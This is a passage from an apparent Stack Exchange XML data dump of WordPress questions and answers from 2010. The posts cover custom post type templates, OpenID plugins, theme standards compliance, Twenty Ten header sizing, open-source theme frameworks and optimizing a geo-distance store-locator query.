href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $metadataContent; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditorDisplayName="" LastEditDate="2010-08-17T17:35:13.347" LastActivityDate="2010-08-17T17:35:13.347" CommentCount="2" />
  <row Id="454" PostTypeId="2" ParentId="372" CreationDate="2010-08-17T17:19:03.700" Score="1" ViewCount="" Body="&lt;p&gt;I add the following to all my themes (with a nice set of drop-and-go functions in &lt;code&gt;functions.php&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;SEO options&lt;/li&gt;&#xA;&lt;li&gt;Twitter integration&lt;/li&gt;&#xA;&lt;li&gt;Remove WP-Stats smiley&lt;/li&gt;&#xA;&lt;li&gt;Google Analytics&lt;/li&gt;&#xA;&lt;li&gt;Add &quot;XX,XXX words published so far&quot; to the WordPress dashboard&lt;/li&gt;&#xA;&lt;li&gt;No self pings (taken from the plug-in of the same name)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-17T17:19:03.700" CommunityOwnedDate="2010-08-17T17:19:03.700" />
  <row Id="455" PostTypeId="2" ParentId="452" CreationDate="2010-08-17T17:29:00.970" Score="1" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I found it:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;div class=&quot;art-PostContent&quot;&amp;gt;&#xA;&amp;lt;?php if (is_search()) the_excerpt(); else the_content(__('Read the rest of this entry »', 'kubrick')); ?&amp;gt;&#xA;&#xA;&amp;lt;/div&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2010-08-17T17:29:00.970" />
  <row Id="456" PostTypeId="1" AcceptedAnswerId="672" CreationDate="2010-08-17T18:29:01.807" Score="0" ViewCount="1027" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's note:&lt;/strong&gt; The original title was &quot;How can I create create and use a custom template for custom post types in the Genesis theme framework?&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the Genesis theme framework, with an almost completely 'stock' child theme.  I have the &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-post-types/&quot; rel=&quot;nofollow&quot;&gt;WP Easy Post Types&lt;/a&gt; plugin installed, and have created one custom post type (&quot;Members&quot;).  I have two custom fields created to use for the 'member' post type (phone number and address).  I'm trying to figure out how to display the information from those fields in two places: &lt;code&gt;example.com/members&lt;/code&gt; and &lt;code&gt;example.com/members/bob&lt;/code&gt;.  Genesis doesn't support the typical &lt;code&gt;single-posttype.php&lt;/code&gt; file to create a template for the custom post type, but even if it did, that doesn't take care of &lt;code&gt;example.com/members&lt;/code&gt;.  Any suggestions on how to get the desired information to display?&lt;/p&gt;&#xA;" OwnerUserId="49" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-11-11T04:00:39.687" LastActivityDate="2010-11-11T04:00:39.687" Title="Using Custom Templates for Custom Post Types for the Genesis Theme Framework?" Tags="&lt;custom-post-types&gt;&lt;template&gt;&lt;genesis-theme-framework&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="457" PostTypeId="2" ParentId="456" CreationDate="2010-08-17T18:39:00.053" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at how Matt Wiebe does it in his &quot;Smarter Custom Post Types&quot; plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://somadesign.ca/projects/smarter-custom-post-types/&quot; rel=&quot;nofollow&quot;&gt;http://somadesign.ca/projects/smarter-custom-post-types/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant function is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_custom_template_include( $template ) {&#xA;    if ( get_query_var('post_type') == 'members' ) {&#xA;&#xA;        if ( is_single() ) {&#xA;            if ( $single = locate_template( array( 'members/single.php') ) )&#xA;                return $single;&#xA;        }&#xA;        else { // loop&#xA;            return locate_template( array(&#xA;                'members/index.php',&#xA;                'members.php', &#xA;                'index.php' &#xA;            ));&#xA;        }&#xA;&#xA;    }&#xA;    return $template;&#xA;}&#xA;&#xA;add_filter( 'template_include', 'my_custom_template_include' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-17T18:49:46.647" LastActivityDate="2010-08-17T18:49:46.647" CommentCount="3" />
  <row Id="458" PostTypeId="1" AcceptedAnswerId="460" CreationDate="2010-08-17T19:56:08.120" Score="4" ViewCount="314" Body="&lt;p&gt;Is there any WordPress plugin that provides OpenID authentication for comments that works in WordPress 3.0?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/openid/&quot; rel=&quot;nofollow&quot;&gt;OpenID plugin&lt;/a&gt; appears to be broken in WP 3.0 and no longer in active development (10 months since last update).&lt;/p&gt;&#xA;" OwnerUserId="50" LastActivityDate="2011-08-07T03:00:00.463" Title="OpenID for WordPress 3.x?" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;openid&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="3" />
  <row Id="459" PostTypeId="2" ParentId="444" CreationDate="2010-08-17T20:03:05.483" Score="2" ViewCount="" Body="&lt;p&gt;@John P Bloch and @EAMann have already given great answers so mine is in addition:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Consider &lt;b&gt;prefixing your meta_keys with an underscore&lt;/b&gt;. Doing so hides them from the list of custom fields displayed on a post edit screen, i.e.&lt;br/&gt;&#xA;&lt;br/&gt;&#xA;&lt;pre&gt;function save_my_metadata($post_id,$post=false) {&#xA;   if($post-&gt;post_type=='your_post_type')&#xA;      update_post_meta($post_id, '_my_metadata', $_POST['my_metadata']);&#xA;}&#xA;&lt;/pre&gt;&#xA;&#xA;Obviously that means you'd need a custom metabox to be able to edit the fields too.&#xA;&#xA;Here's an edit screen for context:&lt;br/&gt;&lt;br/&gt;&#xA;&#xA;&lt;img src=&quot;http://mikeschinkel.com/websnaps/custom-fields-without-underscores-in-wp-admin-20100817-160332.png&quot; title=&quot;Custom Fields in WordPress Admin don't appear if their names are prefixed with an underscore&quot; /&gt;&lt;br/&gt;&lt;br/&gt;&#xA;&lt;/li&gt;&#xA;&#xA;&lt;li&gt;&#xA;Another thing you could do is add your own hook to make saving specific post types easier, i.e. your hook could be &quot;&lt;code&gt;save_{$post_type}_post&lt;/code&gt;&quot;; for a &lt;code&gt;movie&lt;/code&gt; post type it would be &lt;code&gt;save_movie_post&lt;/code&gt;. Here's what you'd have to add to your theme's &lt;code&gt;functions.php&lt;/code&gt; file or in a plugin somewhere:&lt;br/&gt;&lt;br/&gt;&#xA;&lt;pre&gt;&#xA;add_action('save_post', 'save_custom_post_type_posts',10,2);&#xA;function save_custom_post_type_posts($post_id,$post=false) {&#xA;   do_action(&quot;save_{$post-&gt;post_type}_post&quot;);&#xA;}&#xA;&lt;/pre&gt;&#xA;With that you could then rewrite your original code like so (including the underscore trick from #1 above):&lt;br/&gt;&lt;br/&gt;&#xA;&#xA;&lt;pre&gt;&#xA;add_action('save_my_postype_post','save_my_postype_metadata',10,2);&#xA;function save_my_postype_metadata($post_id,$post) {&#xA;    update_post_meta($post_id, '_my_metadata', $_POST['my_metadata']);&#xA;}&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt; &#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-17T20:03:05.483" />
  <row Id="460" PostTypeId="2" ParentId="458" CreationDate="2010-08-17T20:23:58.553" Score="3" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/15/how-to-implement-a-customizable-free-openid-autenthication/100#100&quot;&gt;http://wordpress.stackexchange.com/questions/15/how-to-implement-a-customizable-free-openid-autenthication/100#100&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2010-08-17T20:23:58.553" />
  <row Id="461" PostTypeId="1" AcceptedAnswerId="464" CreationDate="2010-08-17T21:07:06.483" Score="8" ViewCount="181" Body="&lt;p&gt;When I wrote a theme, I made sure it was compliant with XHTML 1.1 and CSS 2.1. Then I added plugins and the theme is no longer compliant with XHTMl 1.1. Then I used Google API font in my CSS and it is longer CSS 2.1 compliant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can keep the compliance without getting rid of the plugins, font etc or should I just ignore the validation errors?&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T18:33:06.353" LastActivityDate="2010-08-24T18:33:06.353" Title="How to maintain W3C standards compliance of a theme" Tags="&lt;plugins&gt;&lt;themes&gt;" AnswerCount="4" FavoriteCount="1" />
  <row Id="462" PostTypeId="1" AcceptedAnswerId="463" CreationDate="2010-08-17T21:28:49.667" Score="2" ViewCount="409" Body="&lt;p&gt;The question is &lt;em&gt;How do I make the header on the Twenty Ten theme less tall?&lt;/em&gt;  That question was asked over at the LinkedIn WordPress group that is hidden from search engines so I thought I'd copy my answer to here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also made it a community wiki so it doesn't pass reputation to me.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-21T10:31:56.090" LastActivityDate="2011-03-10T19:47:08.830" CommunityOwnedDate="2010-08-17T21:42:15.780" Title="Making the Header on the Twenty Ten Theme Less Tall?" Tags="&lt;themes&gt;&lt;theme-twenty-ten&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" />
  <row Id="463" PostTypeId="2" ParentId="462" CreationDate="2010-08-17T21:41:30.960" Score="8" ViewCount="" Body="&lt;p&gt;To make the header on the Twenty Ten theme less tall (i.e. a height with fewer pixels) put this code at the bottom of your theme's &quot;&lt;code&gt;functions.php&lt;/code&gt;&quot; file (being sure to change the number &lt;code&gt;180&lt;/code&gt; to whatever height you want): &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;add_action('twentyten_header_image_height','yoursite_header_image_height'); &#xA;function yoursite_header_image_height($height) { &#xA;   return 180; // Modify this to whatever pixel height you want. &#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you'll need to go to &quot;&lt;em&gt;Appearance &gt; Header&lt;/em&gt;&quot; in your admin console and upload your new smaller image (here's the URL to that admin page): &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://example.com/wp-admin/themes.php?page=custom-header&quot; rel=&quot;nofollow&quot;&gt;http://example.com/wp-admin/themes.php?page=custom-header&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And here's what that admin page looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/0ebXh.png&quot; alt=&quot;Screenshot showing WordPress Twenty Ten theme header iamge&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also consider making your modifications on a &quot;&lt;em&gt;Child Theme&lt;/em&gt;&quot; (if you have not already.) Here's &lt;a href=&quot;http://op111.net/53&quot; rel=&quot;nofollow&quot;&gt;an article&lt;/a&gt; (that is overly complicated) but it's really as simple as just creating a directory on your web server under the &quot;&lt;code&gt;/wp-content/themes/&lt;/code&gt;&quot; subdirectory (I'd call it &quot;&lt;code&gt;/wp-content/themes/yoursite/&lt;/code&gt;&quot;) and creating a &quot;&lt;code&gt;style.css&lt;/code&gt;&quot; in that directory with the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* &#xA;Theme Name: Your Child Theme Name&#xA;Description: Theme for your-site.com &#xA;Author: Your Name&#xA;Version: 1.0 &#xA;Template: twentyten &#xA;*/ &#xA;@import url(&quot;../twentyten/style.css&quot;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can create a new &quot;&lt;code&gt;functions.php&lt;/code&gt;&quot; file and put the above PHP code in it rather than modifying the files in the directory of the TwentyTen theme and having to deal with doing it again it when Twenty Ten has a security update. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-08-17T21:41:30.960" CommentCount="2" />
  <row Id="464" PostTypeId="2" ParentId="461" CreationDate="2010-08-17T21:46:23.487" Score="4" ViewCount="" Body="&lt;p&gt;Correction, your theme was still compliant with XHTML 1.1 and CSS 2.1, but the plug-ins you added injected additional code that &lt;em&gt;wasn't&lt;/em&gt; compliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, there's no easy way to maintain compliance if you're using plug-ins.  The best you can do is validate your theme and all of the markup you are personally responsible for, then hope that other developers have taken the time to validate their own work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative is a lot more work on your part - you can still use the core functionality of the plug-ins, but don't allow them to output &lt;strong&gt;any&lt;/strong&gt; markup to the browser.  Add your own custom layer that unhooks everything the plug-in touches, and build your own output buffer.  This is the &lt;em&gt;only&lt;/em&gt; way you will have control over the style of markup being sent to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several plug-ins are beginning to use HTML 5 ... others are trying to use CSS3.  If you install these plug-ins and don't take steps to sanitize and validate their output, then your site will cease to validate properly.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-17T21:46:23.487" CommentCount="3" />
  <row Id="465" PostTypeId="1" AcceptedAnswerId="467" CreationDate="2010-08-17T21:56:39.037" Score="4" ViewCount="326" Body="&lt;p&gt;What good free and open source alternatives exist to the Thesis theme  ??&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditorDisplayName="" LastEditDate="2010-08-18T22:08:46.003" LastActivityDate="2010-08-18T22:55:34.327" Title="Free/Open-Source Theme Frameworks as an Alternate to Thesis?" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="5" />
  <row Id="466" PostTypeId="2" ParentId="461" CreationDate="2010-08-17T21:59:38.067" Score="7" ViewCount="" Body="&lt;p&gt;Each plugin is going to generate the code it wants to generate and some of it won't be XHTML 1.1 compliant. The only reasonable way to correct that would be to audit each one and either modify the offenders or get the developer to modify or use your modifications as a patch. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternate you could try to write a filter to clean it up but trying to catch all the special case seems like a version of my own personal nightmare and it would also affect performance for dudious benefit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have a client/boss who wants this, or is it just something assumed to be as a &quot;&lt;em&gt;nice-to-have&lt;/em&gt;?&quot; (Yes, there are some who feel strongly about it. I however am not one of those.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, XHTML is loosing its &quot;&lt;em&gt;fair-haired child&lt;/em&gt;&quot; status on the web; even &lt;a href=&quot;http://www.w3.org/People/Berners-Lee/&quot; rel=&quot;nofollow&quot;&gt;Tim Berners-Lee&lt;/a&gt; &lt;a href=&quot;http://dig.csail.mit.edu/breadcrumbs/node/166&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;said so&lt;/strong&gt;&lt;/a&gt; back in 2006:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some things are clearer with hindsight&#xA;  of several years. It is necessary to&#xA;  evolve HTML incrementally. The attempt&#xA;  to get the world to switch to XML,&#xA;  including quotes around attribute&#xA;  values and slashes in empty tags and&#xA;  namespaces all at once didn't work.&#xA;  The large HTML-generating public did&#xA;  not move, largely because the browsers&#xA;  didn't complain. Some large&#xA;  communities did shift and are enjoying&#xA;  the fruits of well-formed systems, but&#xA;  not all. It is important to maintain&#xA;  HTML incrementally, as well as&#xA;  continuing a transition to well-formed&#xA;  world, and developing more power in&#xA;  that world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You might also want to read &lt;a href=&quot;http://stackoverflow.com/questions/256953/html-5-versus-xhtml-1-0-transitional/257140#257140&quot;&gt;&lt;strong&gt;HTML5 is so much easier to write than XHTML 1.0.&lt;/strong&gt;&lt;/a&gt; over on StackOverflow. Here's their summary:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Just syntax-wise, when you use HTML5,&#xA;  you end up with cleaner, easier to&#xA;  read markup that always invokes&#xA;  standards mode. When you use XHTML 1.0&#xA;  (served as text/html), you're&#xA;  specifying a bunch of crud (in order&#xA;  to validate against a crappy dtd) that&#xA;  the browser will do automatically.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-23T06:49:42.857" LastActivityDate="2010-08-23T06:49:42.857" CommentCount="6" />
  <row Id="467" PostTypeId="2" ParentId="465" CreationDate="2010-08-17T22:09:47.263" Score="8" ViewCount="" Body="&lt;p&gt;I assume by &quot;&lt;em&gt;alternatives&lt;/em&gt;&quot; you mean &lt;a href=&quot;http://wpcandy.com/uncategorized/frameworks-child-themes-filters-and-hook&quot; rel=&quot;nofollow&quot;&gt;Theme&lt;/a&gt; &lt;a href=&quot;http://www.catswhocode.com/blog/wordpress-theme-frameworks&quot; rel=&quot;nofollow&quot;&gt;Frameworks&lt;/a&gt;?  If yes, here's a list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/atahualpa&quot; rel=&quot;nofollow&quot;&gt;Atahualpa&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/the-buffet-framework&quot; rel=&quot;nofollow&quot;&gt;The Buffet Framework&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/carrington-blog&quot; rel=&quot;nofollow&quot;&gt;Carrington&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/hybrid&quot; rel=&quot;nofollow&quot;&gt;Hybrid&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/sandbox&quot; rel=&quot;nofollow&quot;&gt;Sandbox&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/thematic&quot; rel=&quot;nofollow&quot;&gt;Thematic&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/wp-framework&quot; rel=&quot;nofollow&quot;&gt;WP Framework&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I added a few more:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ashford.turtleinteractive.com/&quot; rel=&quot;nofollow&quot;&gt;ashford&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpbasis.de/&quot; rel=&quot;nofollow&quot;&gt;Basis&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.thatstandardsguy.co.uk/blog/2009/04/brave-new-world-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Brave New World&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.zy.sg/the-buffet-framework/&quot; rel=&quot;nofollow&quot;&gt;Buffet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cssjockey.com/imagination/&quot; rel=&quot;nofollow&quot;&gt;Imagination&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.siftware.co.uk/services/wordpress/blank-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Naked&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://onepresscommunity.com/&quot; rel=&quot;nofollow&quot;&gt;OnePress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://elliotjaystocks.com/blog/free-starkers-wordpress-theme/&quot; rel=&quot;nofollow&quot;&gt;Starkers&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpstartbox.com&quot; rel=&quot;nofollow&quot;&gt;Startbox&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpcandy.com/uncategorized/the-wordpress-starter-theme-project&quot; rel=&quot;nofollow&quot;&gt;Starter Theme Project&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/vanilla-theme/&quot; rel=&quot;nofollow&quot;&gt;Vanilla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://plainbeta.com/2008/05/20/whiteboard-a-free-wordpress-theme-framework/&quot; rel=&quot;nofollow&quot;&gt;Whiteboard&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpreciousss.org/&quot; rel=&quot;nofollow&quot;&gt;WordPreciousss&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/p/wp-constructor/&quot; rel=&quot;nofollow&quot;&gt;wp-constructor&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If that's not what you meant, please clarify.&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-18T22:43:42.300" LastActivityDate="2010-08-18T22:43:42.300" CommentCount="8" />
  <row Id="468" PostTypeId="1" AcceptedAnswerId="645" CreationDate="2010-08-17T23:04:50.243" Score="3" ViewCount="658" Body="&lt;p&gt;I've got a project where I need to build a store locator for a client. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using a custom post type &quot;&lt;code&gt;restaurant-location&lt;/code&gt;&quot; and I have written the code to geocode the addresses stored in postmeta using the &lt;a href=&quot;http://code.google.com/apis/maps/documentation/geocoding/&quot; rel=&quot;nofollow&quot;&gt;Google Geocoding API&lt;/a&gt; (heres the link that &lt;a href=&quot;http://maps.google.com/maps/api/geocode/json?sensor=false&amp;amp;address=1600+Pennsylvania+Avenue+NW+Washington+DC+20500&quot; rel=&quot;nofollow&quot;&gt;geocodes the US White House in JSON&lt;/a&gt; and I've stored the latitude and longitude back to custom fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a &lt;code&gt;get_posts_by_geo_distance()&lt;/code&gt; function that returns a list of posts in order of  those which are closest geographically using &lt;a href=&quot;http://jebaird.com/blog/calculating-distance-miles-latitude-and-longitude&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;the formula I found in the slideshow at this post&lt;/strong&gt;&lt;/a&gt;.  You might call my function like so (I'm starting with a fixed &quot;source&quot; lat/long):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include &quot;wp-load.php&quot;;&#xA;&#xA;$source_lat = 30.3935337;&#xA;$source_long = -86.4957833;&#xA;&#xA;$results = get_posts_by_geo_distance(&#xA;    'restaurant-location',&#xA;    'geo_latitude',&#xA;    'geo_longitude',&#xA;    $source_lat,&#xA;    $source_long);&#xA;&#xA;echo '&amp;lt;ul&amp;gt;';&#xA;foreach($results as $post) {&#xA;    $edit_url = get_edit_url($post-&amp;gt;ID);&#xA;    echo &quot;&amp;lt;li&amp;gt;{$post-&amp;gt;distance}: &amp;lt;a href=\&quot;{$edit_url}\&quot; target=\&quot;_blank\&quot;&amp;gt;{$post-&amp;gt;location}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&quot;;&#xA;}&#xA;echo '&amp;lt;/ul&amp;gt;';&#xA;return;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the function &lt;code&gt;get_posts_by_geo_distance()&lt;/code&gt; itself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_posts_by_geo_distance($post_type,$lat_key,$lng_key,$source_lat,$source_lng) {&#xA;    global $wpdb;&#xA;    $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT&#xA;    rl.ID,&#xA;    rl.post_title AS location,&#xA;    ROUND(3956*2*ASIN(SQRT(POWER(SIN(({$source_lat}-abs(lat.lat))*pi()/180/2),2)+&#xA;    COS({$source_lat}*pi()/180)*COS(abs(lat.lat)*pi()/180)*&#xA;    POWER(SIN(({$source_lng}-lng.lng)*pi()/180/2),2))),3) AS distance&#xA;FROM&#xA;    wp_posts rl&#xA;    INNER JOIN (SELECT post_id,CAST(meta_value AS DECIMAL(11,7)) AS lat FROM wp_postmeta lat WHERE lat.meta_key='{$lat_key}') lat ON lat.post_id = rl.ID&#xA;    INNER JOIN (SELECT post_id,CAST(meta_value AS DECIMAL(11,7)) AS lng FROM wp_postmeta lng WHERE lng.meta_key='{$lng_key}') lng ON lng.post_id = rl.ID&#xA;WHERE&#xA;    rl.post_type='{$post_type}' AND rl.post_name&amp;lt;&amp;gt;'auto-draft'&#xA;ORDER BY&#xA;    distance&#xA;SQL;&#xA;    $sql = $wpdb-&amp;gt;prepare($sql,$source_lat,$source_lat,$source_lng);&#xA;    return $wpdb-&amp;gt;get_results($sql);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My concern is that the SQL is about as non-optimized as you can get. MySQL can't order by any available index since the &lt;em&gt;source geo&lt;/em&gt; is changeable and there's not a finite set of source geos to cache. Currently I'm stumped as to ways to optimize it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking into consideration what I've done already the question is: &lt;strong&gt;How would you go about optimizing this use-case?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not important that I keep anything I've done if a better solution would have me throw it out. &lt;em&gt;I'm open to considering almost any solution&lt;/em&gt; except for one that requires doing something like installing a Sphinx server or anything that requires a customized MySQL configuration. Basically the solution needs to be able to work on any plain vanilla WordPress install. (That said, it would be great if anyone wants to list alternate solutions for others who might be able to get more advanced and for posterity.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Resources Found&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;FYI, I did a bit of research on this so rather than have you do the research again or rather than have you post any of these links as an answer I'll go ahead and include them.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://jebaird.com/blog/calculating-distance-miles-latitude-and-longitude&quot; rel=&quot;nofollow&quot;&gt;http://jebaird.com/blog/calculating-distance-miles-latitude-and-longitude&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/geolocation/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/geolocation/screenshots/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://code.google.com/apis/maps/articles/phpsqlsearch.html&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/apis/maps/articles/phpsqlsearch.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.rooftopsolutions.nl/blog/229&quot; rel=&quot;nofollow&quot;&gt;http://www.rooftopsolutions.nl/blog/229&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://planet.mysql.com/entry/?id=18085&quot; rel=&quot;nofollow&quot;&gt;http://planet.mysql.com/entry/?id=18085&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://blog.peoplesdns.com/archives/24&quot; rel=&quot;nofollow&quot;&gt;http://blog.peoplesdns.com/archives/24&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.petefreitag.com/item/622.cfm&quot; rel=&quot;nofollow&quot;&gt;http://www.petefreitag.com/item/622.cfm&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phpro.org/tutorials/Geo-Targetting-With-PHP-And-MySQL.html&quot; rel=&quot;nofollow&quot;&gt;http://www.phpro.org/tutorials/Geo-Targetting-With-PHP-And-MySQL.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forum.geonames.org/gforum/posts/list/692.page&quot; rel=&quot;nofollow&quot;&gt;http://forum.geonames.org/gforum/posts/list/692.page&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://forums.mysql.com/list.php?23&quot; rel=&quot;nofollow&quot;&gt;http://forums.mysql.com/list.php?23&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a 